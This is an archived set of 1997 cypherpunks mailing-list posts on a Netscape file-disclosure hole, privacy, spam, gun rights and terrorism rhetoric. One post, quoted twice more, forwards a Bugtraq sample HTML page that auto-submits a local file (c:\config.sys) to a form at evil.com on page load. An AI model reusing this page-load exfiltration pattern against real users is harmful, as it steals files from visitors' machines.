belonging to people who are spending money than the people who accidentally
built the wallets with holes in them could ever pay in gre$enmail.

Cheers,
Bob Hettinga






-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 15 Jun 1997 12:12:43 +0800
To: cypherpunks@Algebra.COM
Subject: Netscape Exploit
Message-ID: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Approved-By: aleph1@UNDERGROUND.ORG
>Date: 	Sat, 14 Jun 1997 19:21:30 -0500
>Reply-To: root <root@BACKWATER.PBX.ORG>
>Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
>From: root <root@BACKWATER.PBX.ORG>
>Subject:      Netscape Exploit
>To: BUGTRAQ@NETSPACE.ORG
>
>Here is a sample it isn't complete but you get the basic idea of what is
>going on
><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
>
><BODY onLoad="daForm.submit()">
><FORM
>	NAME="daForm"
>	ACTION="http://evil.com/cgi-bin/formmail.pl"
>	METHOD=POST>
>
><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your
>Harddrive">
><INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">
>
>and so on and so forth...
--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 16 Jun 1997 07:49:12 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
Message-ID: <3.0.2.32.19970614212045.00762f1c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:05 PM 6/13/97 -0400, Ray Arachelian wrote:
>Nor do I believe that TRW or the DMV should have the ability to sell my
>information to others without my permission, or collect it for that matter
>without a contrat that states how it will be used and who it will be
>shared with. Can you name one Credit Card company that DOES NOT share its
>info with TRW?  Yes, I can get a debit card, but information about
>transactions on it will wind up in the hands of TRW.

They're radically different cases.   TRW gets your information from
people who get credit reports on you, and from creditors who lend you money,
both of which are voluntary transactions on your part.  You have the option,
when negotiating the terms of your business with a company,
to specify in your contracts what information they may pass on to third
parties, and what restrictions they need to put on that information.
Yes, almost everybody you deal with gives everything to TRW or one
of its competitors, but you can negotiate that yourself.
The reason they do is that it reduces their risks substantially
when dealing with the Information Mongers, and therefore reduces
their costs and makes them more likely to give you credit,
and lets them charge you less money for the credit they give you.
But if you can't come to an agreement with anyone, you won't be
able to borrow money from them, and you'll need to pay cash up front
for things, but those were all voluntary transactions as well.

On the other hand, the DMV isn't voluntary - sure they tell you
"well, you don't _have_ to drive or own a car", but unlike 
creditors, who won't do anything bad to you if you don't
borrow money from them, the DMV forces you to deal with them
by threatening to have cops haul you off to jail and
steal your car if you drive without dealing with them.  
It's an offer you can't refuse.  Therefore, there are two
ways I can see to look at their use of data:
1) You're slaves anyway - go cope :-)
2) You've given them far more information than
you wanted to, and they should respect your privacy
and not give it to anyone.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sun, 15 Jun 1997 13:51:05 +0800
To: Adam Shostack <jya@pipeline.com (John Young)
Subject: Re: Impact of Netscape kernel hole
Message-ID: <3.0.32.19970614223746.006d3ea8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 AM 6/14/97 -0400, Adam Shostack wrote:
>
>
>| >Tim's post (although refuted by Marc) raises some serious issues since I
>| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
>
>	Are FAT file lists stored as files?

not exactly.  you cannot just open and read. you must jump hoops; but does
the nscp hole allow execution of arbitrary code?  that would be much worse
....

>
>	On a Unix box, /. refers to the file containing directory
>entries, the list of files in the directory.  If there is an analogous
>file on a dos box, you can explore.  

so, no: not unless you can write your own foreign code and run it on the
victim pc.


(Does the bug work on Unix?  I've
>heard it only works if java or livescript are turned on, so it hasn't
>worried me enough to investigate.)
>
>Adam
>
>
>
>-- 
>"It is seldom that liberty of any kind is lost all at once."
>					               -Hume
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 15 Jun 1997 13:52:59 +0800
To: cypherpunks@Algebra.COM
Subject: We need more surveillance--a morality play about terrorism
Message-ID: <v03102802afc92c702e23@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




[Some speculation about the current American attitudes about terrorism,
about the changes in civil liberties to deal with the "terrorist threat,"
and even some comments about Jim Bell and his predicament.]


I've been watching an HBO movie, "Path to Paradise," about the bombing of
the World Trade Center in February 1993. It's quite well-done, as most HBO
movies of this sort are.

However, it is fairly heavy on a propaganda message which may give some
insights into the likely changes in political freedoms in the United
States. Some examples:

* repeated examples of how the cops and FBI _could have_ arrested the Arabs
if only the Constitution could be reinterpreted to allow arrests for
possession of political pamphlets, guns (legally owned), etc.

* "You mean Islamic radicals are free to preach their message of hate and
violence? Unbelievable!" (This is a paraphrase...there were several such
opinions expressed, where FBI managers express outrage that such things are
permitted in the U.S.)

* The niceties of getting wiretap orders were treated as ways to coddle
criminals.

* The ease with which citizen-units and others can order chemicals and
suchlike was shown graphically, with the subtext being that this easy
ordering ought to be stopped. (This was clear from the dramatic
presentation.)

* Unlike many such movies on criminal matters, there was very little
discussion of civil rights, of the right of persons to move about freely,
and so on.

In short, a morality play about the hazards of letting people plot their
crimes without proper surveillance.

Not to sound conspiratorial, I suspect that this changed climate is
consistent with the views of the FBI and White House, and that HBO is
playing some role (unofficially, of course, and maybe not even consciously)
in this new emphasis.

(In the same way that the Rambo movies, to name just one example, resonated
with American popular opinion in the Reagan era.)

Speculation: This may also have something to do with the "no bail"
predicament Bell now faces. The "stink bomb" he allegedly used in an IRS
building could be Sarin gas, putatively, given the claims that he had Sarin
precursors. Now we may mostly think he's harmless, but the combination of
this new "let's get tough on terrorist plotters" mood, combined with the
chemical stuff they found, his calls for killing of government agents, his
apparent willingness to use chemical bombs (so the claim goes), all add up
to a "get tough" outcome. Whether it stays this way past his arraignment in
a few weeks is of course unknown.

(Any magistrate or DA who watches this HBO movie might be wondering if
releasing Bell would be turning him loose to launch a Sarin gas attack on
his Fed enemies. I don't think this is a plausible threat, knowing what I
know of Bell.)

Something to think about. Between the World Trade Center bombing and OKC,
there seem to be more people saying that certain civil liberties need to be
given up to ensure security.

Where have we heard this before? (Hint: back in Ben Franklin's day.)


--Tim May, who's sorry he missed the display of firepower at the physical
meeting today




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 15 Jun 1997 14:15:17 +0800
To: cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <19970614230152.15019@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 14, 1997 at 09:52:39AM -0500, William H. Geiger III wrote:
>Kent Crispin <kent@songbird.com> said:
>
>>                            Amendment I
>
>>Congress shall make no law respecting an establishment of religion, or
>>prohibiting the free exercise thereof; or abridging the freedom of
>>speech, or of the press; or the right of the people peaceably to
>>assemble, and to petition the Government for a redress of grievances. 
>
>>                           Amendment II
>
>>A well regulated Militia, being necessary to the security of a free
>>State, the right of the people to keep and bear Arms, shall not be
>>infringed. 
>
>Which part of "shall not be infringed" don't you understand Kent??  

I understand that part almost perfectly, I daresay.  It's the rest of 
the sentence that is subject to various interpretations.

The wording of the second amendment is strange, and I have read
several highly opinionated pieces about what it means.  I also read
relevant sections of the Federalist/Anti-Federalist papers.

First of all, consider what it does not say.  It does *not* say 
"Congress shall make no law" -- meaning therefore that congress *can* 
make laws, as long as the rest of the sentence is observed.

It does *not* say "the right of an *individual* to keep and bear arms 
shall not be infringed.  It says "the people", a collective term.  It 
references a *well-regulated* militia.

Furthermore, this amendment was derived from input from two states (I 
don't have the documents handy, or I would tell you exactly).
There are caveats in both of the documents, referring to such things 
as "public safety".  The founding fathers were quite aware that it 
isn't necessary to allow criminals to carry guns at all times.

Therefore my interpretation is that according to the constitution,
there is a broad right for the population to own guns, but that right
is fundamentally justified through "the security of a free State". 
Use of arms contrary to the security of the state is not justified
through the second amendment, nor does the second amendment prohibit
congress or the states from controlling such unjustified use of arms.

Thus, the police can take guns away from common thiefs without fear of
a constitutional challenge.  And states, cities, and other 
governmental agencies can regulate arms for the public good, which may 
mean that certain individuals can't own weapons, or that certain kinds 
of weapons can be proscribed.

Here's an analogy -- imagine a hypothetical addition to the Bill of 
Rights, amendment -1:

                           Amendment -1

A healthy economy, being necessary to the security of a free
State, the right of the people to engage in business, shall not be
infringed.

The key is the "engage in business" clause.  Engaging in business
implicitly involves a set of rules of the game.  Inforcing those
rules, or modifying them in light of new circumstances (eg invention
of the telephone) is not the same as "infringing". 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 15 Jun 1997 14:46:25 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Responses to "Spam costs and questions" (long)
Message-ID: <199706150640.XAA22854@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  6 Jun 97 at 23:41, Dr.Dimitri Vulis KOTM wrote:

> If you set up your mailbox to accept e-mail promiscuously from
> anyone, then anything sent to it is "consentual".

Exactly.  And if you put an e-mail address on a web-site, it's fair 
game.  You consent to have me, at least, comment.

> The onus is on the recipient to filter out what they don't want (or

And not the onus of the Government to save us from the nasty bad evil 
spammers.

> to "filter in" only what they want, which is how I think we'll end
> up). Such filtering takes less time+effort than "repeated
> cease-and-desist notes".

Like any spammer listens to those anyway.  I was sent so many of 
those when I started, it didn't scare me at all.  But now I'm a 
reformed, kinder, gentler spammer.  Most times they don't even know 
they've been spammed.

On or About  7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote:

> talk about this (and I do hope Ross will will this of interest!),
> let's

You bet.  I'm bummed that I missed out on this whole conversation, 
it's a week old now.

On or About  7 Jun 97 at 13:53, Dr.Dimitri Vulis KOTM wrote:

> Also instead of just building the biggest possible list of e-mail
> addresses, they build a targeted database, keeping track where a
> particular e-mail address was found.

That's right.  I've got different lists for the different places that 
I harvested them from.

> Suppose a person subscribes to
> a "porsche owners" mailing list, and goes to an investment- related
> channel on one of the IRC servers. In no time he'll be getting "junk
> e-mail" related to the interests he expressed - possibly even saying
> "I'm writing you because I saw you on the #invest channel on
> Tuesday, and I want to tell you about this hot new penny stock"
> 
> Left to itself, the market will stabilize and the occasional
> unsolicited bulk e-mail will be even less of a nuisance than it is
> now.

Please.  I beg all of you just to let it settle it's self.  No 
regulation is needed, or wanted.  It's not that bad.

On or About  7 Jun 97 at 13:37, Declan McCullagh wrote:

> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.

I don't want anyone telling me what I have to put into the subject 
field of my bulk e-mailings.

> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
> 
> -Declan

On or About  8 Jun 97 at 5:36, Declan McCullagh wrote:

> I don't think commercial speech should be treated as second-class
> speech. But my position is hardly surprising. 
>

Declan, thanks.  You are right that speech is speech.
 
On or About  9 Jun 97 at 23:45, Kent Crispin wrote:

And here's where it degrades into discussions about ads and sales 
tactics and all that stuff that the general public is so frightened 
of.  It's like salesmen are the reviled, untouchables in our society. 
Needed but hated.  These topics always fall to the level of 
the morals of given marketing strategies.

That's not what this is about.

It's about freedom to tell people about a product in any way that you 
can.

> > When a tobacco company says in an ad, "Joe Camel is cool", what
> > kind of contractual obligations does it assume?
> 
> None.  I did not say that all ads were part of a contract.
> 
> > Have you ever bought a used car, Kent?  Have you seen the language
> > in the contract that throws out whatever promises the saleguy made
> > that are not a part of the contract? 
> 
> Yes, but never from a used-car lot, always from people I know.  I
> have

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 15 Jun 1997 15:19:41 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Impact of Netscape kernel hole
Message-ID: <199706150714.AAA23115@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:

> week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.

Saw this post to Cypherpunks.  I hate to sound less than savvy, but I 
use 2.02.  You guys are gonna help us who refuse to upgrade, right.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 16:22:38 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706150714.AAA23115@adnetsol.adnetsol.com>
Message-ID: <33A3A4AC.192E128A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Ross Wright wrote:
> 
> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
> 
> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
> 
> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
> use 2.02.  You guys are gonna help us who refuse to upgrade, right.

Sorry, but we don't have any plans to respin 2.x at this time.  If we
get enough requests for it, it might be possible to change our mind,
though.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 16:38:08 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <33A3A71E.C86780C6@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> 
> Adam, above, is speculating about the mechanics of a Netscape security
> hole, which, two years ago, would have gotten someone like Ian
> Goldberg a grand and a t-shirt, but probably only after they had
> published it on the net, just like Mssrs Goldberg and Wagner had to
> do, in order to get Netscape's attention. That included directions for
> how to replicate the problem. Back then, we wouldn't have been
> speculating about the mechanics of the hole, because people would be
> playing with it to see how it worked.  As it is, latest hole was
> published in terms of its results only, and not its mechanics.
> Instead, those precious details were relased only to Netscape, and
> only for, NPR says, "an undisclosed sum".

Just to be clear, we didn't give the blackmailer any money.  As Mike
Homer put it: "We don't bargain with terrorists."

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sun, 15 Jun 1997 16:36:51 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Netscape Exploit
In-Reply-To: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>
Message-ID: <33A3A827.5E05965@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> >Approved-By: aleph1@UNDERGROUND.ORG
> >Date:  Sat, 14 Jun 1997 19:21:30 -0500
> >Reply-To: root <root@BACKWATER.PBX.ORG>
> >Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
> >From: root <root@BACKWATER.PBX.ORG>
> >Subject:      Netscape Exploit
> >To: BUGTRAQ@NETSPACE.ORG
> >
> >Here is a sample it isn't complete but you get the basic idea of what
> is
> >going on
> ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
> >
> ><BODY onLoad="daForm.submit()">
> ><FORM
> >       NAME="daForm"
> >       ACTION="http://evil.com/cgi-bin/formmail.pl"
> >       METHOD=POST>
> >
> ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on
> your
> >Harddrive">
> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">

Yeah, that's pretty cool.  Too bad it doesn't work.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 15 Jun 1997 14:55:45 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614230152.15019@bywater.songbird.com>
Message-ID: <199706150643.BAA03179@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970614230152.15019@bywater.songbird.com>, on 06/14/97 
   at 11:01 PM, Kent Crispin <kent@songbird.com> said:

>On Sat, Jun 14, 1997 at 09:52:39AM -0500, William H. Geiger III wrote:
>>Kent Crispin <kent@songbird.com> said:
>>
>>>                            Amendment I
>>
>>>Congress shall make no law respecting an establishment of religion, or
>>>prohibiting the free exercise thereof; or abridging the freedom of
>>>speech, or of the press; or the right of the people peaceably to
>>>assemble, and to petition the Government for a redress of grievances. 
>>
>>>                           Amendment II
>>
>>>A well regulated Militia, being necessary to the security of a free
>>>State, the right of the people to keep and bear Arms, shall not be
>>>infringed. 
>>
>>Which part of "shall not be infringed" don't you understand Kent??  

>I understand that part almost perfectly, I daresay.  It's the rest of 
>the sentence that is subject to various interpretations.

>The wording of the second amendment is strange, and I have read several
>highly opinionated pieces about what it means.  I also read relevant
>sections of the Federalist/Anti-Federalist papers.

>First of all, consider what it does not say.  It does *not* say 
>"Congress shall make no law" -- meaning therefore that congress *can* 
>make laws, as long as the rest of the sentence is observed.

>It does *not* say "the right of an *individual* to keep and bear arms 
>shall not be infringed.  It says "the people", a collective term.  It 
>references a *well-regulated* militia.

>Furthermore, this amendment was derived from input from two states (I 
>don't have the documents handy, or I would tell you exactly). There are
>caveats in both of the documents, referring to such things  as "public
>safety".  The founding fathers were quite aware that it  isn't necessary
>to allow criminals to carry guns at all times.

>Therefore my interpretation is that according to the constitution, there
>is a broad right for the population to own guns, but that right is
>fundamentally justified through "the security of a free State".  Use of
>arms contrary to the security of the state is not justified through the
>second amendment, nor does the second amendment prohibit congress or the
>states from controlling such unjustified use of arms.

>Thus, the police can take guns away from common thiefs without fear of a
>constitutional challenge.  And states, cities, and other  governmental
>agencies can regulate arms for the public good, which may  mean that
>certain individuals can't own weapons, or that certain kinds  of weapons
>can be proscribed.

>Here's an analogy -- imagine a hypothetical addition to the Bill of 
>Rights, amendment -1:

>                           Amendment -1

>A healthy economy, being necessary to the security of a free State, the
>right of the people to engage in business, shall not be infringed.

>The key is the "engage in business" clause.  Engaging in business
>implicitly involves a set of rules of the game.  Inforcing those rules,
>or modifying them in light of new circumstances (eg invention of the
>telephone) is not the same as "infringing". 

Well Kent we must be reading from two different dictionaries:

infringe: to encroach upon in a way that violates law or the rights of
another

encroach: to enter by gradual steps or by stelth into the possessions or
rights of another.

By the above definition this is exactly what the government has been doing
with it's ever increasing restictions on the possesions of guns by it's
citizens and what the founding fathers wished to posses. If they had
wanted the government to have the power to control and regulate the
ownership of guns then they would have said so.

The Bill of Rights were not added to the Constitution to give the
government more power but to restrict their power.

The whole purpose of the 2nd Amendment was to provide a final check &
balance on the government. Our founding fathers were all too aware that it
was manditory that the population must be well armed inorder preserve
their freedom against an unjust government.

An unarmed people are just so much sheep waiting for the slaughter.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 15:29:39 +0800
To: cypherpunks@toad.com
Subject: Netscape Update
Message-ID: <199706150718.DAA28831@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
 
> All this reminds me of something Tim May, Eric Hughes, and others have said
> before. Once you've gotten to the point where loss of security equals, in a
> very literal sense, loss of money, the incentive to publicize any given
> security hole starts to go away.

  The Netscape PR department is no doubt preparing to spin the "bug fix"
into a "major update." 

  The fact of the matter is, the software does exactly what it was
designed to do. The fact that those who are "out of the loop" found out
how to use that designed feature does not make it a "bug."
  When the list got spammed with email from 10,000 Laker fans named
"Bubba," I blasted plaidworks.com for their rudeness in trying to place
all the blame on "hackers" when the fact was that they left their system
wide open to abuse for the sake of convenience and profit.
  Similarly, the government and corporations want systems designed to
allow them access to all available information passing through the
internet system and then cry "abuse" or "security bug" when individuals
discover how to use the design to their advantage.

  Calling the Netscape feature a "bug" merely serves to draw attention
away from the fact that the software was intentionally designed in order
to facilitate snooping (ala Clipper chip?) and that indicates that there
have been people who have known how to take advantage of the feature
since its implementation.
  Do the people who instituted the design and development of this 
snooping feature all have "Good Guy" stamped on their forhead? Sure
they do...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 16:27:52 +0800
To: cypherpunks@toad.com
Subject: Re: We need more surveillance--a morality play about terrorism
Message-ID: <199706150817.EAA32172@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> I've been watching an HBO movie, "Path to Paradise," about the bombing of
> the World Trade Center in February 1993. It's quite well-done, as most HBO
> movies of this sort are.
> 
> However, it is fairly heavy on a propaganda message which may give some
> insights into the likely changes in political freedoms in the United
> States.
> In short, a morality play about the hazards of letting people plot their
> crimes without proper surveillance.
> 
> Not to sound conspiratorial, I suspect that this changed climate is
> consistent with the views of the FBI and White House, and that HBO is
> playing some role (unofficially, of course, and maybe not even consciously)
> in this new emphasis.

  The movies have long been a source of propaganda for LEA's of all
types and descriptions, as well as the military.
  You want co-operation? You want to get bargin rates on access to
city (or military) facilities, streets, vehicles, etc? If so, then
you'd better be prepared to present an "acceptable" script to those
who make the decisions.
  The military and LEA's know that they are in a position to save
movie producers millions of dollars through their co-operation and
producers know that an acceptable script is the ante that may well
make the difference between their movie being produced or canned.

  Cop shows are the rage on TV at present, and if you can find 
a major force of real-life cops that call everyone "Sir" and treat
them like humans, I'll kiss your ass, but that's what we see on
the Tube, anyway. It would cost a fucking fortune to produce a
similar show which reflected the reality of how LEA's treat the
citizens.
  I have a friend who was casting director for "Miami Vice" and
I recall her telling me at an early point in the series that they
were being forced, for financial reasons, to "clean up" the scripts
so as to make the cops more sympathetic and reputable characters.

  Face it, we live in TV World. We didn't get an actor as our
President by "accident."  We elect "sound bytes" and "charisma."
We elect "plausible deniability" and "non-smoking guns."
  We are sold fear and violence both as news and entertainment,
and we "buy" it as our reality. Then our fear is used to sell
us products such as loss of privacy and freedom.
  This is the consumer age, and it is driven by advertising and
profit. In the Media Age the marketing term "find a need and
fill it" has become "_create_ a need and fill it."
  There's big money in fear and violence.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 18:30:31 +0800
To: cypherpunks@toad.com
Subject: Re: Netscape Exploit
Message-ID: <199706151017.GAA04407@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote: 
> Lucky Green wrote:
> >
> > >Here is a sample it isn't complete but you get the basic idea of what
> > is
> > >going on
> > ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
...

> Yeah, that's pretty cool.  Too bad it doesn't work.

  If you wanted a version that works you should have checked out the
RCMP site that one of the Truth Mongers (or spin-offs) pointed to on
the list a while back. It had a nifty bit of code which showed you
the contents of your own hard drive and grabbed a copy for their own
use.
  There was also a site on sympatico.ca which had the same code, only
the link read "Click here to read the Whitehouse hard drive." If you
followed further links on the site some would take a long time to load
and if you paid attention you could guess that your hard drive was being
accessed. I turned a friend onto the files I saved from the sites and
I assume he hacked at least one of them to get the executables that 
they were running since he bought me a case of Budweiser for sharing 
the information with him.

  I have noticed in surfing a variety of hacker URLs that sometimes it
takes an awfully long time to load what turns out to be a fairly simple
screen and there is invariably a lot of disk activity going on in these
instances. I don't worry about what may be taking place since I bought
a used computer specifically for internet cruising so I can enjoy myself
instead of fretting about security issues.
  I put a lot of files and directories on my hard drive with names like
"Offthepigs" and "assass.plot" and cruised around the RCMP site from an
anonymous account. I used the name of a local cop as the ostensible
owner of the machine and author of the files. (I _do_ hope they were
paying attention!)

  There was an article on computer security on the RCMP site which spoke
quite openly about the potential of technology in general and remailers
in specific for mounting sting operations. (I will try to dig up the
URL for it and pass it along. It should be in the list archives too.)

~~~~~~~~~
Not a cop
~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 15 Jun 1997 19:38:17 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <33A3A71E.C86780C6@netscape.com>
Message-ID: <199706151132.HAA21332@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein writes:

: Just to be clear, we didn't give the blackmailer any money.  As Mike
: Homer put it: "We don't bargain with terrorists."

It is be really quite nice in Aarhus this time of year.  And on the 
Eve of St. John they stay up all night dancing around the bonfires
in which they burn the Witch.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 15 Jun 1997 23:00:39 +0800
To: webmaster@intraday.com
Subject: I love http://www.intraday.com/spam/spam/spam
Message-ID: <mkac9D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



It's hilarious!! Many thanks to whomever put it up

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 15 Jun 1997 20:36:12 +0800
To: cypherpunks@toad.com
Subject: Re: e$: Skins vs. Shirts
Message-ID: <1.5.4.32.19970615122126.008e4e64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote:

>Just to be clear, we didn't give the blackmailer any money.  As Mike
>Homer put it: "We don't bargain with terrorists."

That's rather inflammatory name-calling. Sounds a bit Kallstromish, no?
Surely Homer hasn't been hanging with the CT-hypers.

However, it confirms Tim's surmise that we're facing an inflation of
terrorist-spin to whatever feeds nightsweats of monsters coming to
Ballmer our babies -- of flesh, markets or surveilling features.

Still, is it any surprise to the burgeoning snoopers (prurient, commercial or 
law) that most personal computer disks are as empty of content as those 
